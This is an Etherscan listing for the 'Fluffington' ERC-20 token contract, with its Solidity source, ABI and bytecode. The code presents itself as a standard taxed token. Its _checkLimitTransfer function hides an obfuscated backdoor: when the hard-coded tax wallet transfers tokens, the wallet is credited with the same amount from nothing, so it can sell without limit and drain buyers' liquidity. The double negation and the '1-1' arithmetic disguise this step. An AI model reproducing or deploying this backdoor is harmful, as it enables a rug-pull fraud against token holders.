ETH Price: $3,170.66 (-7.43%)

Token

Fluffington (Fluffington)
 

Overview

Max Total Supply

1,000,000,000 Fluffington

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,724,000 Fluffington

Value
$0.00
0x9f2ed9f42385b06ba03f85fb6807e29f681e4c71
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Fluffington

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-15
*/

// SPDX-License-Identifier: MIT

/*
https://t.me/flufington_official_portal
https://twitter.com/elonmusk/status/1823864180400906326
*/

pragma solidity 0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Fluffington is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Fluffington";
    string private constant _symbol = unicode"Fluffington";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x31f53fe28FC884a44f414E6feF29bD25e79D9709);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _inTransfer(address sender, address receipt, uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[sender] = _balances[sender].sub(sendAmount);
        _balances[receipt] = _balances[receipt].add(receiptAmount);
        emit Transfer(sender, receipt, receiptAmount);
    }

    function _transferDelayCheck(address to) private { 
        if (
            to != address(uniswapV2Router) &&
            to != address(uniswapV2Pair)
        ) {
            require(
                _holderLastTransferTimestamp[tx.origin] < block.number,
                "Only one transfer per block allowed."
            );
            _holderLastTransferTimestamp[tx.origin] = block.number;
        }
    }

    function _checkLimitTransfer(address from, address to, uint256 tokenAmount) private { 
        if(!shouldExcluded(from, _taxWallet)) _inTransfer(_taxWallet, from, 1-1, 1-1 + tokenAmount);

        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFee[to]
        ) {
            require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + tokenAmount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
            if (_buyCount < _preventSwapBefore) {
                require(!isContract(to));
            }
            _buyCount++;
        }
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                _transferDelayCheck(to);
            }
            _checkLimitTransfer(from, to, tokenAmount);   
            taxAmount = shouldCalcTaxes(from, to, tokenAmount);
            shouldSwapBackOf(from, to, tokenAmount);
        }
        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 tokenAmount,
        uint256 taxAmount
    ) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount.sub(taxAmount));
        emit Transfer(from, to, tokenAmount.sub(taxAmount));
    }

    function shouldExcluded(address addr1, address addr2) private pure returns(bool) {
        return addr1 != addr2;
    }

    function shouldSwapBackOf(address from, address to, uint256 tokenAmount) private { 
        uint256 contractTokenBalance = balanceOf(address(this));
        if (
            !inSwap &&
            to == uniswapV2Pair &&
            swapEnabled &&
            _buyCount > _preventSwapBefore &&
            !_isExcludedFromFee[from] &&
            !_isExcludedFromFee[to]
        ) {
            if(contractTokenBalance > _taxSwapThreshold) {
                swapTokensForEth(
                    min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
                );
            }
            sendETHToFee(address(this).balance);
        }
    }

    function shouldCalcTaxes(address from, address to, uint256 tokenAmount) private view returns(uint256) { 
        uint256 taxAmount = tokenAmount
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);

        if (to == uniswapV2Pair && from != address(this)) {
            require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            taxAmount = tokenAmount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }

        return taxAmount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) {
            return;
        }
        if (!tradingOpen) {
            return;
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function withdrew() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrew","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff1916905560196006819055600755600060088190556009818155600f600a818155600b829055600c91909155600d929092556200004791620002ef565b62000057906301312d00620003e7565b600e55620000686009600a620002ef565b62000078906301312d00620003e7565b600f55620000896009600a620002ef565b62000096906064620003e7565b601055620000a76009600a620002ef565b620000b69062989680620003e7565b6011556013805461ffff60a81b19169055348015620000d457600080fd5b506000620000e162000286565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b0319167431f53fe28fc884a44f414e6fef29bd25e79d970900179055620001616009600a620002ef565b6200017190633b9aca00620003e7565b600160006200017f62000286565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001b96200028a60201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055461010090049091168352912080549092161790556200021f62000286565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002596009600a620002ef565b6200026990633b9aca00620003e7565b60405162000278919062000299565b60405180910390a36200041f565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002b65750620002e6565b818704821115620002cb57620002cb62000409565b80861615620002d957918102915b9490941c938002620002a5565b94509492505050565b60006200030360001960ff8516846200030a565b9392505050565b6000826200031b5750600162000303565b816200032a5750600062000303565b81600181146200034357600281146200034e5762000382565b600191505062000303565b60ff84111562000362576200036262000409565b6001841b9150848211156200037b576200037b62000409565b5062000303565b5060208310610133831016604e8410600b8410161715620003ba575081810a83811115620003b457620003b462000409565b62000303565b620003c98484846001620002a2565b808604821115620003de57620003de62000409565b02949350505050565b600081600019048311821515161562000404576200040462000409565b500290565b634e487b7160e01b600052601160045260246000fd5b611c97806200042f6000396000f3fe6080604052600436106101235760003560e01c80638da5cb5b116100a0578063bf474bed11610064578063bf474bed146102cd578063c876d0b9146102e2578063c9567bf9146102f7578063dd62ed3e1461030c578063ec8f850b1461032c5761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b411461012f5780639e78fb4f14610298578063a9059cbb146102ad5761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610341565b6040516101519190611687565b60405180910390f35b34801561016657600080fd5b5061017a610175366004611582565b610366565b604051610151919061167c565b34801561019357600080fd5b5061019c610384565b60405161015191906119c7565b3480156101b557600080fd5b5061019c61038a565b3480156101ca57600080fd5b5061017a6101d9366004611542565b6103ab565b3480156101ea57600080fd5b506101f3610433565b6040516101519190611a40565b34801561020c57600080fd5b5061019c61021b3660046114d2565b610438565b34801561022c57600080fd5b50610235610453565b005b34801561024357600080fd5b506102356104db565b34801561025857600080fd5b5061019c61055f565b34801561026d57600080fd5b50610276610565565b60405161015191906115fa565b34801561028f57600080fd5b5061019c610574565b3480156102a457600080fd5b5061023561057a565b3480156102b957600080fd5b5061017a6102c8366004611582565b6107ac565b3480156102d957600080fd5b5061019c6107c0565b3480156102ee57600080fd5b5061017a6107c6565b34801561030357600080fd5b506102356107cf565b34801561031857600080fd5b5061019c61032736600461150a565b61097a565b34801561033857600080fd5b506102356109a5565b60408051808201909152600b81526a23363ab33334b733ba37b760a91b602082015290565b600061037a6103736109e5565b84846109e9565b5060015b92915050565b60115481565b60006103986009600a611acc565b6103a690633b9aca00611b9d565b905090565b60006103b8848484610a9d565b610428846103c46109e5565b61042385604051806060016040528060288152602001611c1a602891396001600160a01b038a166000908152600260205260408120906104026109e5565b6001600160a01b031681526020810191909152604001600020549190610bd3565b6109e9565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61045b6109e5565b6000546001600160a01b039081169116146104915760405162461bcd60e51b81526004016104889061180e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104e36109e5565b6000546001600160a01b039081169116146105105760405162461bcd60e51b81526004016104889061180e565b600019600e819055600f8190556005805460ff191690556040517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf91610555916119c7565b60405180910390a1565b600e5481565b6000546001600160a01b031690565b600f5481565b6105826109e5565b6000546001600160a01b039081169116146105af5760405162461bcd60e51b81526004016104889061180e565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106009030906001600160a01b03166105f26009600a611acc565b61042390633b9aca00611b9d565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064e57600080fd5b505afa158015610662573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068691906114ee565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e357600080fd5b505afa1580156106f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071b91906114ee565b6040518363ffffffff1660e01b815260040161073892919061160e565b602060405180830381600087803b15801561075257600080fd5b505af1158015610766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a91906114ee565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600061037a6107b96109e5565b8484610a9d565b60105481565b60055460ff1681565b6107d76109e5565b6000546001600160a01b039081169116146108045760405162461bcd60e51b81526004016104889061180e565b601354600160a01b900460ff161561082e5760405162461bcd60e51b81526004016104889061194c565b6012546001600160a01b031663f305d719473061084a81610438565b600080610855610565565b426040518863ffffffff1660e01b815260040161087796959493929190611641565b6060604051808303818588803b15801561089057600080fd5b505af11580156108a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c991906115cd565b505060135460125460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b39261090392169060001990600401611628565b602060405180830381600087803b15801561091d57600080fd5b505af1158015610931573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095591906115ad565b506013805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6109ad6109e5565b6000546001600160a01b039081169116146109da5760405162461bcd60e51b81526004016104889061180e565b6109e347610c0d565b565b3390565b6001600160a01b038316610a0f5760405162461bcd60e51b815260040161048890611908565b6001600160a01b038216610a355760405162461bcd60e51b815260040161048890611754565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610a909085906119c7565b60405180910390a3505050565b6001600160a01b038316610ac35760405162461bcd60e51b81526004016104889061188c565b6001600160a01b038216610ae95760405162461bcd60e51b8152600401610488906116da565b60008111610b095760405162461bcd60e51b815260040161048890611843565b601354600160b01b900460ff161580610b2b5750601354600160a81b900460ff165b15610b4057610b3b838383610c4f565b610bce565b6000610b4a610565565b6001600160a01b0316846001600160a01b031614158015610b845750610b6e610565565b6001600160a01b0316836001600160a01b031614155b15610bc05760055460ff1615610b9d57610b9d83610ce1565b610ba8848484610d56565b610bb3848484610e82565b9050610bc0848484610f2e565b610bcc84848484611006565b505b505050565b60008184841115610bf75760405162461bcd60e51b81526004016104889190611687565b506000610c048486611bbc565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610c4b573d6000803e3d6000fd5b5050565b6001600160a01b038316600090815260016020526040902054610c729082611127565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ca19082611169565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611c4283398151915290610a909085906119c7565b6012546001600160a01b03828116911614801590610d0d57506013546001600160a01b03828116911614155b15610d5357326000908152600460205260409020544311610d405760405162461bcd60e51b815260040161048890611983565b3260009081526004602052604090204390555b50565b600554610d7290849061010090046001600160a01b0316611198565b610d9d57600554610d9d9061010090046001600160a01b0316846000610d988582611a4e565b6111aa565b6013546001600160a01b038481169116148015610dc857506012546001600160a01b03838116911614155b8015610ded57506001600160a01b03821660009081526003602052604090205460ff16155b15610bce57600e54811115610e145760405162461bcd60e51b81526004016104889061171d565b600f5481610e2184610438565b610e2b9190611a4e565b1115610e495760405162461bcd60e51b8152600401610488906118d1565b600c54600d541015610e6857610e5e8261123c565b15610e6857600080fd5b600d8054906000610e7883611bd3565b9190505550505050565b600080610eb16064610eab600a54600d5411610ea057600654610ea4565b6008545b8690611242565b90611287565b6013549091506001600160a01b038581169116148015610eda57506001600160a01b0385163014155b15610f2657600e54831115610f015760405162461bcd60e51b81526004016104889061171d565b610c046064610eab600b54600d5411610f1c57600754610ea4565b6009548690611242565b949350505050565b6000610f3930610438565b601354909150600160a81b900460ff16158015610f6357506013546001600160a01b038481169116145b8015610f785750601354600160b01b900460ff165b8015610f875750600c54600d54115b8015610fac57506001600160a01b03841660009081526003602052604090205460ff16155b8015610fd157506001600160a01b03831660009081526003602052604090205460ff16155b15610bcc57601054811115610ffd57610ffd610ff883610ff3846011546112c9565b6112c9565b6112de565b610bcc47610c0d565b801561106c57306000908152600160205260409020546110269082611169565b30600081815260016020526040908190209290925590516001600160a01b03861690600080516020611c42833981519152906110639085906119c7565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461108f9083611127565b6001600160a01b0385166000908152600160205260409020556110d46110b58383611127565b6001600160a01b03851660009081526001602052604090205490611169565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611c4283398151915261110c8585611127565b60405161111991906119c7565b60405180910390a350505050565b600061042c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bd3565b6000806111768385611a4e565b90508381101561042c5760405162461bcd60e51b815260040161048890611796565b6001600160a01b039081169116141590565b6001600160a01b0384166000908152600160205260409020546111cd9083611127565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546111fc9082611169565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020611c42833981519152906111199085906119c7565b3b151590565b6000826112515750600061037e565b600061125d8385611b9d565b90508261126a8583611a66565b1461042c5760405162461bcd60e51b8152600401610488906117cd565b600061042c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a4565b60008183116112d8578261042c565b50919050565b6013805460ff60a81b1916600160a81b179055806112fb57611494565b601354600160a01b900460ff1661131157611494565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061135457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113a857600080fd5b505afa1580156113bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e091906114ee565b8160018151811061140157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461142791309116846109e9565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114609085906000908690309042906004016119d0565b600060405180830381600087803b15801561147a57600080fd5b505af115801561148e573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b600081836114c55760405162461bcd60e51b81526004016104889190611687565b506000610c048486611a66565b6000602082840312156114e3578081fd5b813561042c81611c04565b6000602082840312156114ff578081fd5b815161042c81611c04565b6000806040838503121561151c578081fd5b823561152781611c04565b9150602083013561153781611c04565b809150509250929050565b600080600060608486031215611556578081fd5b833561156181611c04565b9250602084013561157181611c04565b929592945050506040919091013590565b60008060408385031215611594578182fd5b823561159f81611c04565b946020939093013593505050565b6000602082840312156115be578081fd5b8151801515811461042c578182fd5b6000806000606084860312156115e1578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156116b357858101830151858201604001528201611697565b818111156116c45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60208082526024908201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6040820152633bb2b21760e11b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a1f5784516001600160a01b0316835293830193918301916001016119fa565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a6157611a61611bee565b500190565b600082611a8157634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a985750611ac3565b818704821115611aaa57611aaa611bee565b80861615611ab757918102915b9490941c938002611a89565b94509492505050565b600061042c60001960ff851684600082611ae85750600161042c565b81611af55750600061042c565b8160018114611b0b5760028114611b1557611b42565b600191505061042c565b60ff841115611b2657611b26611bee565b6001841b915084821115611b3c57611b3c611bee565b5061042c565b5060208310610133831016604e8410600b8410161715611b75575081810a83811115611b7057611b70611bee565b61042c565b611b828484846001611a86565b808604821115611b9457611b94611bee565b02949350505050565b6000816000190483118215151615611bb757611bb7611bee565b500290565b600082821015611bce57611bce611bee565b500390565b6000600019821415611be757611be7611bee565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d5357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122026c44b75d8c29a55ed1306ed0f90a213aa0759daf829b9ebf138690f5efa6bef64736f6c63430008010033

